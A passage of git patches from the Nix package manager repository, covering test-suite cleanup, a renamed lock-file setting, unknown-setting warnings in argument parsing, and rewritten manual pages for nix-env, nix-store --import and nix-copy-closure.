it -# should be possible to install both without a collision. Also test -# ‘--set-flag priority’ to manually override the declared priorities. -nix-env -e '*' -nix-env -i foo-0.1 foo-1.0 -[ "$($profiles/test/bin/foo)" = "foo-1.0" ] -nix-env --set-flag priority 1 foo-0.1 -[ "$($profiles/test/bin/foo)" = "foo-0.1" ] - -# Test nix-env --set. -nix-env --set $outPath10 -[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] -nix-env --set $drvPath10 -[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] - -# Test the case where $HOME contains a symlink. -mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels -ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home -ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo -HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1 +source ./user-envs-test-case.sh From 7822ecbadff47fe350a483969e1e307c1c3a3ebe Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 13 May 2024 14:56:14 +0200 Subject: [PATCH 0594/1251] tests: always clean the test directory previously the test directory could have been left untouched before executing a test when `init.sh` was not run - and sometimes it isn't supposed to be run - which made the test suite highly stateful and thus behaving surprisingly on multiple runs. --- tests/functional/common/init.sh | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index 9d85dba17..017179952 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -1,10 +1,8 @@ test -n "$TEST_ROOT" -if test -d "$TEST_ROOT"; then - chmod -R u+rw "$TEST_ROOT" - # We would delete any daemon socket, so let's stop the daemon first. - killDaemon - rm -rf "$TEST_ROOT" -fi +# We would delete any daemon socket, so let's stop the daemon first. +killDaemon +# Destroy the test directory that may have persisted from previous runs +rm -rf "$TEST_ROOT" mkdir -p "$TEST_ROOT" mkdir "$TEST_HOME" From e1e041ed8f99aaff993f0e94bdb64c2f620d100c Mon Sep 17 00:00:00 2001 From: Graham Christensen Date: Mon, 13 May 2024 09:23:59 -0400 Subject: [PATCH 0595/1251] Rename commit-lockfile-summary to commit-lock-file-summary for consistency --- src/libexpr/flake/config.cc | 2 +- src/libfetchers/fetch-settings.hh | 4 ++-- src/nix/flake.md | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/flake/config.cc b/src/libexpr/flake/config.cc index 3c7ed5d8a..e0c5d4512 100644 --- a/src/libexpr/flake/config.cc +++ b/src/libexpr/flake/config.cc @@ -32,7 +32,7 @@ static void writeTrustedList(const TrustedList & trustedList) void ConfigFile::apply() { - std::set whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lockfile-summary"}; + std::set whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lock-file-summary", "commit-lockfile-summary"}; for (auto & [name, value] : settings) { diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh index d085f0d82..50cd4d161 100644 --- a/src/libfetchers/fetch-settings.hh +++ b/src/libfetchers/fetch-settings.hh @@ -87,12 +87,12 @@ struct FetchSettings : public Config {}, true, Xp::Flakes}; Setting commitLockFileSummary{ - this, "", "commit-lockfile-summary", + this, "", "commit-lock-file-summary", R"( The commit summary to use when committing changed flake lock files. If empty, the summary is generated based on the action performed. )", - {}, true, Xp::Flakes}; + {"commit-lockfile-summary"}, true, Xp::Flakes}; Setting trustTarballsFromGitForges{ this, true, "trust-tarballs-from-git-forges", diff --git a/src/nix/flake.md b/src/nix/flake.md index d8b5bf435..661dd2f73 100644 --- a/src/nix/flake.md +++ b/src/nix/flake.md @@ -439,7 +439,7 @@ The following attributes are supported in `flake.nix`: - [`bash-prompt-prefix`](@docroot@/command-ref/conf-file.md#conf-bash-prompt-prefix) - [`bash-prompt-suffix`](@docroot@/command-ref/conf-file.md#conf-bash-prompt-suffix) - [`flake-registry`](@docroot@/command-ref/conf-file.md#conf-flake-registry) - - [`commit-lockfile-summary`](@docroot@/command-ref/conf-file.md#conf-commit-lockfile-summary) + - [`commit-lock-file-summary`](@docroot@/command-ref/conf-file.md#conf-commit-lock-file-summary) ## Flake inputs From 9a58d90c73ed9cc90b0b79c2946f0e2601b6cd54 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:27:09 +0200 Subject: [PATCH 0596/1251] tests/nixos/containers/containers.nix: Remove superfluous -v --- tests/nixos/containers/containers.nix | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/tests/nixos/containers/containers.nix b/tests/nixos/containers/containers.nix index c8ee78a4a..6773f5628 100644 --- a/tests/nixos/containers/containers.nix +++ b/tests/nixos/containers/containers.nix @@ -33,30 +33,30 @@ # Test that 'id' gives the expected result in various configurations. # Existing UIDs, sandbox. - host.succeed("nix build -v --no-auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-1") + host.succeed("nix build --no-auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-1") host.succeed("[[ $(cat ./result) = 'uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)' ]]") # Existing UIDs, no sandbox. - host.succeed("nix build -v --no-auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-2") + host.succeed("nix build --no-auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-2") host.succeed("[[ $(cat ./result) = 'uid=30001(nixbld1) gid=30000(nixbld) groups=30000(nixbld)' ]]") # Auto-allocated UIDs, sandbox. - host.succeed("nix build -v --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-3") + host.succeed("nix build --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-3") host.succeed("[[ $(cat ./result) = 'uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)' ]]") # Auto-allocated UIDs, no sandbox. - host.succeed("nix build -v --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-4") + host.succeed("nix build --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-4") host.succeed("[[ $(cat ./result) = 'uid=872415232 gid=30000(nixbld) groups=30000(nixbld)' ]]") # Auto-allocated UIDs, UID range, sandbox. - host.succeed("nix build -v --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-5 --arg uidRange true") + host.succeed("nix build --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-5 --arg uidRange true") host.succeed("[[ $(cat ./result) = 'uid=0(root) gid=0(root) groups=0(root)' ]]") # Auto-allocated UIDs, UID range, no sandbox. - host.fail("nix build -v --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-6 --arg uidRange true") + host.fail("nix build --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-6 --arg uidRange true") # Run systemd-nspawn in a Nix build. - host.succeed("nix build -v --auto-allocate-uids --sandbox -L --offline --impure --file ${./systemd-nspawn.nix} --argstr nixpkgs ${nixpkgs}") + host.succeed("nix build --auto-allocate-uids --sandbox -L --offline --impure --file ${./systemd-nspawn.nix} --argstr nixpkgs ${nixpkgs}") host.succeed("[[ $(cat ./result/msg) = 'Hello World' ]]") ''; From 1da18e85baa273835c2b0f727374e010f6fd2e89 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 16:23:08 +0200 Subject: [PATCH 0597/1251] tests/functional/common/init.sh: Make $TEST_ROOT writable before removing it $TEST_ROOT typically contains read-only files/directories (e.g. the Nix store). So we have to make it writable first. --- tests/functional/common/init.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index 017179952..74da12651 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -2,7 +2,10 @@ test -n "$TEST_ROOT" # We would delete any daemon socket, so let's stop the daemon first. killDaemon # Destroy the test directory that may have persisted from previous runs -rm -rf "$TEST_ROOT" +if [[ -e "$TEST_ROOT" ]]; then + chmod -R u+w "$TEST_ROOT" + rm -rf "$TEST_ROOT" +fi mkdir -p "$TEST_ROOT" mkdir "$TEST_HOME" From 2f0031aedc4ae254010fe07a5b4452e3fb081b12 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Tue, 14 May 2024 21:23:29 +0200 Subject: [PATCH 0598/1251] Revert "manual: fold sidebar sections" (#10698) The original change arguably reduced ergonomics of navigation, since menu items weren't ctrl+f searchable any more. --- doc/manual/book.toml | 2 -- 1 file changed, 2 deletions(-) diff --git a/doc/manual/book.toml b/doc/manual/book.toml index d524dbb13..73fb7e75e 100644 --- a/doc/manual/book.toml +++ b/doc/manual/book.toml @@ -6,8 +6,6 @@ additional-css = ["custom.css"] additional-js = ["redirects.js"] edit-url-template = "https://github.com/NixOS/nix/tree/master/doc/manual/{path}" git-repository-url = "https://github.com/NixOS/nix" -fold.enable = true -fold.level = 1 [preprocessor.anchors] renderers = ["html"] From 05ad4e8806a13fb475250472a0bf677f94cee641 Mon Sep 17 00:00:00 2001 From: Eli Flanagan <163922304+eflanagan0@users.noreply.github.com> Date: Tue, 14 May 2024 16:38:54 -0400 Subject: [PATCH 0599/1251] doc: convention improvements for copying closure (#10702) * doc: convention improvements for copying closure use -P, which only considers executables but not shell builtins Co-authored-by: Valentin Gagarin --- doc/manual/src/command-ref/nix-copy-closure.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md index eb1693e1e..46d381f5d 100644 --- a/doc/manual/src/command-ref/nix-copy-closure.md +++ b/doc/manual/src/command-ref/nix-copy-closure.md @@ -78,14 +78,14 @@ authentication, you can avoid typing the passphrase with `ssh-agent`. Copy Firefox with all its dependencies to a remote machine: ```console -$ nix-copy-closure --to alice@itchy.labs $(type -tP firefox) +$ nix-copy-closure --to alice@itchy.example.org $(type -P firefox) ``` Copy Subversion from a remote machine and then install it into a user environment: ```console -$ nix-copy-closure --from alice@itchy.labs \ +$ nix-copy-closure --from alice@itchy.example.org \ /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4 $ nix-env --install /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4 ``` From 49bd408c10ed8c9e8f5d8f54b27d1027f989da84 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Tue, 14 May 2024 23:18:40 +0200 Subject: [PATCH 0600/1251] remove link to relocated manual page (#10703) fix old anchor redirects to point to the correct location --- doc/manual/redirects.js | 8 ++++---- doc/manual/src/SUMMARY.md.in | 1 - 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 25648969d..ec5645ea7 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -290,10 +290,10 @@ const redirects = { "ssec-gc-roots": "package-management/garbage-collector-roots.html", "chap-package-management": "package-management/index.html", "sec-profiles": "package-management/profiles.html", - "ssec-s3-substituter": "package-management/s3-substituter.html", - "ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", - "ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache", - "ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache", + "ssec-s3-substituter": "store/types/s3-substituter.html", + "ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", + "ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache", + "ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache", "sec-sharing-packages": "package-management/sharing-packages.html", "ssec-ssh-substituter": "package-management/ssh-substituter.html", "chap-quick-start": "quick-start.html", diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index fdfd0a927..7f0fb2e9d 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -43,7 +43,6 @@ - [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md) - [Copying Closures via SSH](package-management/copy-closure.md) - [Serving a Nix store via SSH](package-management/ssh-substituter.md) - - [Serving a Nix store via S3](package-management/s3-substituter.md) - [Remote Builds](advanced-topics/distributed-builds.md) - [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md) - [Verifying Build Reproducibility](advanced-topics/diff-hook.md) From dcc2a51bacaf7152ee86b524044e87738f71614e Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 15 May 2024 01:11:14 +0200 Subject: [PATCH 0601/1251] add example to `nix-store --import` this also features specifying `--store` to give more pointers for discoverability --- doc/manual/src/command-ref/nix-store/import.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md index 2711316a7..da28619f4 100644 --- a/doc/manual/src/command-ref/nix-store/import.md +++ b/doc/manual/src/command-ref/nix-store/import.md @@ -19,3 +19,21 @@ Nix store, the import fails. {{#include ../opt-common.md}} {{#include ../env-common.md}} + +# Examples + +> **Example** +> +> Given a closure of GNU Hello as a file: +> +> ```shell-session +> $ storePath="$(nix-build '' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)" +> $ nix-store --export $(nix-store --query --requisites $storePath) > hello.closure +> ``` +> +> Import the closure into a [remote SSH store](@docroot@/store/types/ssh-store.md) using the [`--store`](@docroot@/command-ref/conf-file.md#conf-store) option: +> +> ```console +> $ nix-store --import --store ssh://alice@itchy.example.org < hello.closure +> ``` + From 7c7aa79ebe69086ac7e2f30bde4af9490b55afd7 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 15 May 2024 01:29:10 +0200 Subject: [PATCH 0602/1251] redirect "Copying Closures via SSH" guide to `nix-copy-closure` the individual commands' documentation should provide enough examples to make sense of the options and judge what to use and when. proper guides, which would require a more elaborate setup to show off Nix's capabilities are out of scope for the reference manual. --- doc/manual/redirects.js | 2 +- doc/manual/src/SUMMARY.md.in | 1 - doc/manual/src/_redirects | 2 ++ .../src/package-management/copy-closure.md | 34 ------------------- 4 files changed, 3 insertions(+), 36 deletions(-) delete mode 100644 doc/manual/src/package-management/copy-closure.md diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 25648969d..9d885e602 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -285,7 +285,7 @@ const redirects = { "ch-basic-package-mgmt": "package-management/basic-package-mgmt.html", "ssec-binary-cache-substituter": "package-management/binary-cache-substituter.html", "sec-channels": "command-ref/nix-channel.html", - "ssec-copy-closure": "package-management/copy-closure.html", + "ssec-copy-closure": "command-ref/nix-copy-closure.html", "sec-garbage-collection": "package-management/garbage-collection.html", "ssec-gc-roots": "package-management/garbage-collector-roots.html", "chap-package-management": "package-management/index.html", diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index fdfd0a927..e0ba9ccc8 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -41,7 +41,6 @@ - [Advanced Topics](advanced-topics/index.md) - [Sharing Packages Between Machines](package-management/sharing-packages.md) - [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md) - - [Copying Closures via SSH](package-management/copy-closure.md) - [Serving a Nix store via SSH](package-management/ssh-substituter.md) - [Serving a Nix store via S3](package-management/s3-substituter.md) - [Remote Builds](advanced-topics/distributed-builds.md) diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects index 8bf0e854b..a04a36f1e 100644 --- a/doc/manual/src/_redirects +++ b/doc/manual/src/_redirects @@ -39,3 +39,5 @@ /json/* /protocols/json/:splat 301! /release-notes/release-notes /release-notes 301! + +/package-management/copy-closure /command-ref/nix-copy-closure 301! diff --git a/doc/manual/src/package-management/copy-closure.md b/doc/manual/src/package-management/copy-closure.md deleted file mode 100644 index 14326298b..000000000 --- a/doc/manual/src/package-management/copy-closure.md +++ /dev/null @@ -1,34 +0,0 @@ -# Copying Closures via SSH - -The command `nix-copy-closure` copies a Nix store path along with all -its dependencies to or from another machine via the SSH protocol. It -doesn’t copy store paths that are already present on the target machine. -For example, the following command copies Firefox with all its -dependencies: - - $ nix-copy-closure --to alice@itchy.example.org $(type -p firefox) - -See the [manpage for `nix-copy-closure`](../command-ref/nix-copy-closure.md) for details. - -With `nix-store ---export` and `nix-store --import` you can write the closure of a store -path (that is, the path and all its dependencies) to a file, and then -unpack that file into another Nix store. For example, - - $ nix-store --export $(nix-store --query --requisites $(type -p firefox)) > firefox.closure - -writes the closure of Firefox to a file. You can then copy this file to -another machine and install the closure: - - $ nix-store --import < firefox.closure - -Any store paths in the closure that are already present in the target -store are ignored. It is also possible to pipe the export into another -command, e.g. to copy and install a closure directly to/on another -machine: - - $ nix-store --export $(nix-store --query --requisites $(type -p firefox)) | bzip2 | \ - ssh alice@itchy.example.org "bunzip2 | nix-store --import" - -However, `nix-copy-closure` is generally more efficient because it only -copies paths that are not already present in the target Nix store. From 0c2c26018034b467b7b33d20e6d209bf9dbd0e24 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 15 May 2024 01:40:25 +0200 Subject: [PATCH 0603/1251] labeler: capture all docs files --- .github/labeler.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/labeler.yml b/.github/labeler.yml index e036eb3c8..0e6fd3e26 100644 --- a/.github/labeler.yml +++ b/.github/labeler.yml @@ -13,7 +13,7 @@ "documentation": - changed-files: - - any-glob-to-any-file: "doc/manual/*" + - any-glob-to-any-file: "doc/manual/**/*" - any-glob-to-any-file: "src/nix/**/*.md" "store": @@ -40,4 +40,4 @@ - any-glob-to-any-file: "src/*/tests/**/*" # Functional and integration tests - any-glob-to-any-file: "tests/functional/**/*" - + From 6907eaad4f87350b09d844434532428e97d22943 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 15 May 2024 01:21:45 +0200 Subject: [PATCH 0604/1251] reword documentation on `nix-store --import` - add links to definitions of terms - one sentence per line - be more specific about which store is used for the import - clearly distinguish store paths and store objects - make a recommendation to use `nix-copy-closure` for efficient SSH transfers --- doc/manual/src/command-ref/nix-store/import.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md index 2711316a7..0ecde177c 100644 --- a/doc/manual/src/command-ref/nix-store/import.md +++ b/doc/manual/src/command-ref/nix-store/import.md @@ -8,11 +8,13 @@ # Description -The operation `--import` reads a serialisation of a set of store paths -produced by `nix-store --export` from standard input and adds those -store paths to the Nix store. Paths that already exist in the Nix store -are ignored. If a path refers to another path that doesn’t exist in the -Nix store, the import fails. +The operation `--import` reads a serialisation of a set of [store objects](@docroot@/glossary.md#gloss-store-object) produced by [`nix-store --export`](./export.md) from standard input, and adds those store objects to the specified [Nix store](@docroot@/store/index.md). +Paths that already exist in the target Nix store are ignored. +If a path [refers](@docroot@/glossary.md#gloss-reference) to another path that doesn’t exist in the target Nix store, the import fails. + +> **Note** +> +> For efficient transfer of closures to remote machines over SSH, use [`nix-copy-closure`](@docroot@/command-ref/nix-copy-closure.md). {{#include ./opt-common.md}} From 06e13465c55a046d22791942680166f048d11f94 Mon Sep 17 00:00:00 2001 From: Cole Helbling Date: Tue, 14 May 2024 12:13:14 -0700 Subject: [PATCH 0605/1251] tests/functional: test both clis warn on unknown settings --- tests/functional/eval.sh | 4 ++++ tests/functional/misc.sh | 9 +++++++++ 2 files changed, 13 insertions(+) diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index c6a475cd0..502170d14 100644 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -52,3 +52,7 @@ fi # Test --arg-from-stdin. [[ "$(echo bla | nix eval --raw --arg-from-stdin foo --expr '{ foo }: { inherit foo; }' foo)" = bla ]] + +# Test that unknown settings are warned about +out="$(expectStderr 0 nix eval --option foobar baz --expr '""' --raw)" +[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh index af96d20bd..d4379b7ce 100644 --- a/tests/functional/misc.sh +++ b/tests/functional/misc.sh @@ -30,3 +30,12 @@ expectStderr 1 nix-instantiate --eval -E '[]' -A 'x' | grepQuiet "should be a se expectStderr 1 nix-instantiate --eval -E '{}' -A '1' | grepQuiet "should be a list" expectStderr 1 nix-instantiate --eval -E '{}' -A '.' | grepQuiet "empty attribute name" expectStderr 1 nix-instantiate --eval -E '[]' -A '1' | grepQuiet "out of range" + +# Unknown setting warning +# NOTE(cole-h): behavior is different depending on the order, which is why we test an unknown option +# before and after the `'{}'`! +out="$(expectStderr 0 nix-instantiate --option foobar baz --expr '{}')" +[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] + +out="$(expectStderr 0 nix-instantiate '{}' --option foobar baz --expr )" +[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] From 39a269657e766aaa6d6c678f95362a566173e547 Mon Sep 17 00:00:00 2001 From: Cole Helbling Date: Tue, 14 May 2024 12:13:40 -0700 Subject: [PATCH 0606/1251] libutil/args: warn on unknown settings after parsing all flags --- doc/manual/rl-next/fix-silent-unknown-options | 28 +++++++++++++++++++ src/libutil/args.cc | 9 +----- 2 files changed, 29 insertions(+), 8 deletions(-) create mode 100644 doc/manual/rl-next/fix-silent-unknown-options diff --git a/doc/manual/rl-next/fix-silent-unknown-options b/doc/manual/rl-next/fix-silent-unknown-options new file mode 100644 index 000000000..0977260ac --- /dev/null +++ b/doc/manual/rl-next/fix-silent-unknown-options @@ -0,0 +1,28 @@ +--- +synopsis: Warn on unknown settings anywhere in the command line +prs: 10701 +--- + +All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line. + +Before: + +```console +$ nix-instantiate --option foobar baz --expr '{}' +warning: unknown setting 'foobar' +$ nix-instantiate '{}' --option foobar baz --expr +$ nix eval --expr '{}' --option foobar baz +{ } +``` + +After: + +```console +$ nix-instantiate --option foobar baz --expr '{}' +warning: unknown setting 'foobar' +$ nix-instantiate '{}' --option foobar baz --expr +warning: unknown setting 'foobar' +$ nix eval --expr '{}' --option foobar baz +warning: unknown setting 'foobar' +{ } +``` diff --git a/src/libutil/args.cc b/src/libutil/args.cc index 243e3a5a6..c202facdf 100644 --- a/src/libutil/args.cc +++ b/src/libutil/args.cc @@ -268,8 +268,6 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) verbosity = lvlError; } - bool argsSeen = false; - // Heuristic to see if we're invoked as a shebang script, namely, // if we have at least one argument, it's the name of an // executable file, and it starts with "#!". @@ -336,10 +334,6 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) throw UsageError("unrecognised flag '%1%'", arg); } else { - if (!argsSeen) { - argsSeen = true; - initialFlagsProcessed(); - } pos = rewriteArgs(cmdline, pos); pendingArgs.push_back(*pos++); if (processArgs(pendingArgs, false)) @@ -349,8 +343,7 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) processArgs(pendingArgs, true); - if (!argsSeen) - initialFlagsProcessed(); + initialFlagsProcessed(); /* Now that we are done parsing, make sure that any experimental * feature required by the flags is enabled */ From 50bbe22a51cec73f5b3b6eff9386f1c70ed10191 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Daniel=20Ram=C3=ADrez?= Date: Wed, 15 May 2024 15:42:14 -0400 Subject: [PATCH 0607/1251] reword `nix-env` documentation (#10718) * reword `nix-env` documentation - added links - added an overview of package sources - clarified parsing and matching of package names Co-authored-by: Valentin Gagarin --- doc/manual/src/command-ref/nix-env.md | 94 ++++++++++++++----- doc/manual/src/command-ref/nix-env/install.md | 3 +- 2 files changed, 70 insertions(+), 27 deletions(-) diff --git a/doc/manual/src/command-ref/nix-env.md b/doc/manual/src/command-ref/nix-env.md index 941723216..c6f627365 100644 --- a/doc/manual/src/command-ref/nix-env.md +++ b/doc/manual/src/command-ref/nix-env.md @@ -47,39 +47,83 @@ These pages can be viewed offline: Example: `nix-env --help --install` +# Package sources + +`nix-env` can obtain packages from multiple sources: + +- An attribute set of derivations from: + - The [default Nix expression](@docroot@/command-ref/files/default-nix-expression.md) (by default) + - A Nix file, specified via `--file` + - A [profile](@docroot@/command-ref/files/profiles.md), specified via `--from-profile` + - A Nix expression that is a function which takes default expression as argument, specified via `--from-expression` +- A [store path](@docroot@/store/store-path.md) + # Selectors -Several commands, such as `nix-env --query ` and `nix-env --install `, take a list of -arguments that specify the packages on which to operate. These are -extended regular expressions that must match the entire name of the -package. (For details on regular expressions, see **regex**(7).) The match is -case-sensitive. The regular expression can optionally be followed by a -dash and a version number; if omitted, any version of the package will -match. Here are some examples: +Several operations, such as [`nix-env --query`](./nix-env/query.md) and [`nix-env --install`](./nix-env/install.md), take a list of *arguments* that specify the packages on which to operate. - - `firefox`\ - Matches the package name `firefox` and any version. +Packages are identified based on a `name` part and a `version` part of a [symbolic derivation name](@docroot@/language/derivations.md#attr-names): - - `firefox-32.0`\ - Matches the package name `firefox` and version `32.0`. +- `name`: Everything up to but not including the first dash (`-`) that is *not* followed by a letter. +- `version`: The rest, excluding the separating dash. - - `gtk\\+`\ - Matches the package name `gtk+`. The `+` character must be escaped - using a backslash to prevent it from being interpreted as a - quantifier, and the backslash must be escaped in turn with another - backslash to ensure that the shell passes it on. +> **Example** +> +> `nix-env` parses the symbolic derivation name `apache-httpd-2.0.48` as: +> +> ```json +> { +> "name": "apache-httpd", +> "version": "2.0.48" +> } +> ``` - - `.\*`\ - Matches any package name. This is the default for most commands. +> **Example** +> +> `nix-env` parses the symbolic derivation name `firefox.*` as: +> +> ```json +> { +> "name": "firefox.*", +> "version": "" +> } +> ``` - - `'.*zip.*'`\ - Matches any package name containing the string `zip`. Note the dots: - `'*zip*'` does not work, because in a regular expression, the - character `*` is interpreted as a quantifier. +The `name` parts of the *arguments* to `nix-env` are treated as extended regular expressions and matched against the `name` parts of derivation names in the package source. +The match is case-sensitive. +The regular expression can optionally be followed by a dash (`-`) and a version number; if omitted, any version of the package will match. +For details on regular expressions, see [**regex**(7)](https://linux.die.net/man/7/regex). - - `'.*(firefox|chromium).*'`\ - Matches any package name containing the strings `firefox` or - `chromium`. +> **Example** +> +> Common patterns for finding package names with `nix-env`: +> +> - `firefox` +> +> Matches the package name `firefox` and any version. +> +> - `firefox-32.0` +> +> Matches the package name `firefox` and version `32.0`. +> +> - `gtk\\+` +> +> Matches the package name `gtk+`. +> The `+` character must be escaped using a backslash (`\`) to prevent it from being interpreted as a quantifier, and the backslash must be escaped in turn with another backslash to ensure that the shell passes it on. +> +> - `.\*` +> +> Matches any package name. +> This is the default for most commands. +> +> - `'.*zip.*'` +> +> Matches any package name containing the string `zip`. +> Note the dots: `'*zip*'` does not work, because in a regular expression, the character `*` is interpreted as a quantifier. +> +> - `'.*(firefox|chromium).*'` +> +> Matches any package name containing the strings `firefox` or `chromium`. # Files diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md index d80bcb668..a2cc7f862 100644 --- a/doc/manual/src/command-ref/nix-env/install.md +++ b/doc/manual/src/command-ref/nix-env/install.md @@ -14,14 +14,13 @@ # Description -The install operation creates a new user environment. +The `--install` operation creates a new user environment. It is based on the current generation of the active [profile](@docroot@/command-ref/files/profiles.md), to which a set of [store paths] described by *args* is added. [store paths]: @docroot@/glossary.md#gloss-store-path The arguments *args* map to store paths in a number of possible ways: - - By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression]. These are [realised], and the resulting output paths are installed. Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified. From 043135a84851b3c33fd8723686a44437eb82e66a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 Apr 2024 17:07:39 -0400 Subject: [PATCH 0608/1251] Document file system object content addressing In addition: - Take the opportunity to add a bunch more missing hyperlinks, too. - Remove some glossary entries that are now subsumed by dedicated pages. We used to not be able to do this without breaking link fragments, but now we can, so pick up where we left off. Co-authored-by: Robert Hensing --- doc/manual/src/SUMMARY.md.in | 1 + .../src/command-ref/nix-collect-garbage.md | 2 +- .../command-ref/nix-env/delete-generations.md | 2 +- doc/manual/src/command-ref/nix-env/install.md | 2 +- doc/manual/src/command-ref/nix-hash.md | 11 ++- doc/manual/src/command-ref/nix-store/dump.md | 6 +- .../src/command-ref/nix-store/export.md | 6 +- .../src/command-ref/nix-store/import.md | 4 +- .../src/command-ref/nix-store/optimise.md | 3 +- .../src/command-ref/nix-store/realise.md | 4 +- .../src/command-ref/nix-store/restore.md | 4 +- doc/manual/src/contributing/documentation.md | 2 +- doc/manual/src/glossary.md | 23 +++++- .../src/language/advanced-attributes.md | 26 +++--- doc/manual/src/language/derivations.md | 4 +- .../src/language/import-from-derivation.md | 4 +- doc/manual/src/language/operators.md | 2 +- .../src/language/string-interpolation.md | 4 +- doc/manual/src/language/values.md | 2 +- .../src/protocols/json/store-object-info.md | 4 +- doc/manual/src/protocols/nix-archive.md | 3 +- doc/manual/src/protocols/store-path.md | 6 +- doc/manual/src/protocols/tarball-fetcher.md | 4 +- 